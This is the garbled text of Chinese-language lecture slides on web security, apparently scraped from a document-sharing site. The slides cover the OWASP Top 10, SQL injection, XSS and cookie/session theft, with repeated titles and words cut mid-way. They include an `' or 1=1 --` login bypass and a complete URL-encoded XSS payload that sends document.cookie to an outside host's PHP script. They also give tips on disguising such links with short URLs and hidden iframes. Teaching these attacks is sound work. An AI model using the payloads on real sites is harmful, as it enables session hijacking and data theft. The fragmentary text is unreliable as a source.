版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、Agenda嘴砲OWSAP Top 10SQL injectionXSScookie & session1Agenda嘴砲1Agenda嘴砲OWSAP Top 10SQL injectionXSScookie & session2Agenda嘴砲2不要做壞事!3不要做壞事!3不要被抓到!4不要被抓到!4不要被抓到!5不要被抓到!5不要說我教的6不要說我教的6Agenda嘴砲OWSAP Top 10SQL injectionXSScookie & session7Agenda嘴砲7網頁安全?早年 vs 現代靜態 vs 動態有程式 就有漏洞!8網頁安全?早年 vs 現代8ways to attac
2、kOSweb serverweb application9ways to attackOS9attack scenariosattack web server gain privilege steal informations to attack usersattack other user steal informations execute other attacksmay be composite10attack scenariosattack web serAgenda嘴砲OWSAP Top 10SQL injectionXSScookie & session11Agenda嘴砲111
3、212OWASP Top 10 - 2010A1: InjectionA2: Cross-Site Scripting (XSS)A3: Broken Authentication and Session ManagementA4: Insecure Direct Object ReferencesA5: Cross-Site Request Forgery (CSRF)13OWASP Top 10 - 2010A1: InjectiOWASP Top 10 - 2010A6: Security MisconfigurationA7: Insecure Cryptographic Storag
4、eA8: Failure to Restrict URL AccessA9: Insufficient Transport Layer ProtectionA10: Unvalidated Redirects and Forwards14OWASP Top 10 - 2010A6: SecuritOWASP Top 10 - 2010A1: InjectionA2: Cross-Site Scripting (XSS)A3: Broken Authentication and Session ManagementA4: Insecure Direct Object ReferencesA5:
5、Cross-Site Request Forgery (CSRF)15OWASP Top 10 - 2010A1: InjectiOWASP Top 10 - 2010A6: Security MisconfigurationA7: Insecure Cryptographic StorageA8: Failure to Restrict URL AccessA9: Insufficient Transport Layer ProtectionA10: Unvalidated Redirects and Forwards16OWASP Top 10 - 2010A6: SecuritAgend
6、a嘴砲OWSAP Top 10SQL injectionXSScookie & session17Agenda嘴砲17Injections駭客的填空遊戲where can attacker inject? database (MySQL, MS SQL, PostgreSQL . ) no-sql Directory Service (LDAP) system command!18Injections駭客的填空遊戲18how SQL works in weblogin page for exampleclientweb serversql serverrequest whitid and pw
7、dselect from account where id=id and pwd=pwdreturn result return login success/failed19how SQL works in weblogin pageWhy SQL?廣大使用儲存大量的網站資料injection friendly20Why SQL?廣大使用20how injections work?以MySQL為例子$query = “select from account where id=$id and pwd=$pwd$id= or 1=1 - select from account where id=
8、- 21how injections work?以MySQL為例子2attack skillsunionblind attack22attack skillsunion22影響資料被偷/被改獲得網站權限整個網站被拿下#23影響資料被偷/被改23how to defensesafe API過濾逃脫字元 不要直接把使用者輸入加入query找程式掃描弱點24how to defensesafe API24Practice25Practice25Agenda嘴砲OWSAP Top 10SQL injectionXSScookie & session26Agenda嘴砲26XSSCross Site S
9、cripting在別人的網站上寫程式! 27XSSCross Site Scripting27background knowledgeHTTP GETHTTP POST28background knowledgeHTTP GET28how to attackattack using POST/GETthe “scripting”in the serverstrange url29how to attackattack using POSThow to attackjavascript / 30how to attackjavascript30example /?id=alert(“im Ora
10、nge”)31examplehttp:/goodsite.cwhat may happened?take you to bad sitesend your information to attackerJust For Fun!32what may happened?take you to Just For Fun SamyMySpace XSS attackSamy is my hero!Infection33Just For Fun SamyMySpace XSS aBig Site also XSSableMySpaceFacebooktwitterPlurk .34Big Site a
11、lso XSSableMySpace34how to defensefor server該逃的還是要逃找程式掃描弱點for user看到奇怪連結要警覺瀏覽器 / 防毒軟體35how to defensefor server35practice36practice36Agenda嘴砲OWSAP Top 10SQL injectionXSScookie & session37Agenda嘴砲37background knowledgecookiesessionA cookie is a piece of text stored by a users web browser.A cookie can
12、 be used for authentication, storing site preferences, shopping cart contents, the identifier for a server-based session, or anything else that can be accomplished through storing text data.The session information is stored on the web server using the session identifier (session ID) generated as a r
13、esult of the first (sometimes the first authenticated) request from the end user running a web browser. The storage of session IDs and the associated session data (user name, account number, etc.) on the web server is accomplished using a variety of techniques including, but not limited to: local me
14、mory, flat files, and databases.38background knowledgecookieA39394040如果偷到了cookie可以41如果偷到了cookie可以41how to steal it?42how to steal it?424343把cookie送到雲端! 用GET / POST方式讓網頁把cookie送走 / ex: .join(sever side is simplejust keep the cookie44把cookie送到雲端! 用GET / POST方式讓網頁把哪個白痴會點這鬼連結/?samname=%22%3E%3Cscript%3E
15、document.write%28%5BString.fromCharCode%2860,105,109,103,32,115,114,99,61,39,104,116,116,112,58,47,47,105,110,49,46,110,99,117,46,99,99,47,126,57,55,53,48,48,50,48,54,51,47,107,101,107,101,47,116,46,112,104,112,63,116,61,34%29,document.cookie,String.fromCharCode%2834,39,62%29.join%28%29%29;%3C/scrip
16、t%3E%3C%2245哪個白痴會點這鬼連結/hidden有種東西叫短網址 ( / 0rz.tw / goo.gl / bit.ly)塞進別的網頁裡 (ex: iframe長寬設0或1)ugly url EVERY WHERE/accounts/ServiceLogin?service=mail&passive=true&rm=false&continue=http%3A%2F%2F%2Fmail%2F%3Fui%3Dhtml%26zy%3Dl&bsv=1eic6yu9oa4y3&scc=1<mpl=default<mplcache=2/config/login?.intl=tw&.p
17、d=c%3d7pP3Kh2p2e4XklntZWWfDLAC8w-&.done=/cgi-bin/kcookie.cgi/www/http%3a/&rl=146hidden有種東西叫短網址 (tinyurl.c防範鎖定user agent / header綁IP*不要被攻擊成功*47防範鎖定user agent / header47鎖定user agent / header if (isset($_SESSIONHTTP_USER_AGENT) if ($_SESSIONHTTP_USER_AGENT != md5($_SERVERHTTP_USER_AGENT) exit(); else $_SESSI
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 未来五年食用豆企业县域市场拓展与下沉战略分析研究报告
- 未来五年野生动物保护区管理服务企业县域市场拓展与下沉战略分析研究报告
- 未来五年鳙鱼企业数字化转型与智慧升级战略分析研究报告
- 2025美国胸外科医师学会心房颤动外科治疗指南
- 25王戎不取道旁李 教学课件
- 新媒体运营数据监测与分析方案
- 高速公路改扩建工程质量验收记录
- 二次函数件北师大版(0)数学九年级下册
- 工会培训劳动竞赛课件
- 工人安全培训交底课件
- (2025年)福建能化集团招聘笔试题附答案
- 有本领的劳动者课件
- 计调年终总结汇报
- 江苏省专升本2025年食品科学与工程食品工艺学试卷(含答案)
- 具身智能+物流智能仓储解决方案分析报告
- 2025年西藏公开遴选公务员笔试试题及答案解析(综合类)
- 人行道维修施工方案
- TOP TOY潮玩集合品牌盲盒营销现状及对策研究
- 第16课 祖国我为您自豪(教学课件)小学二年级上册 统编版《道德与法治》新教材
- 小学科学新教科版三年级上册全册教案(2025秋新版)
- 2025北京朝阳八年级(下)期末历史试卷及答案
评论
0/150
提交评论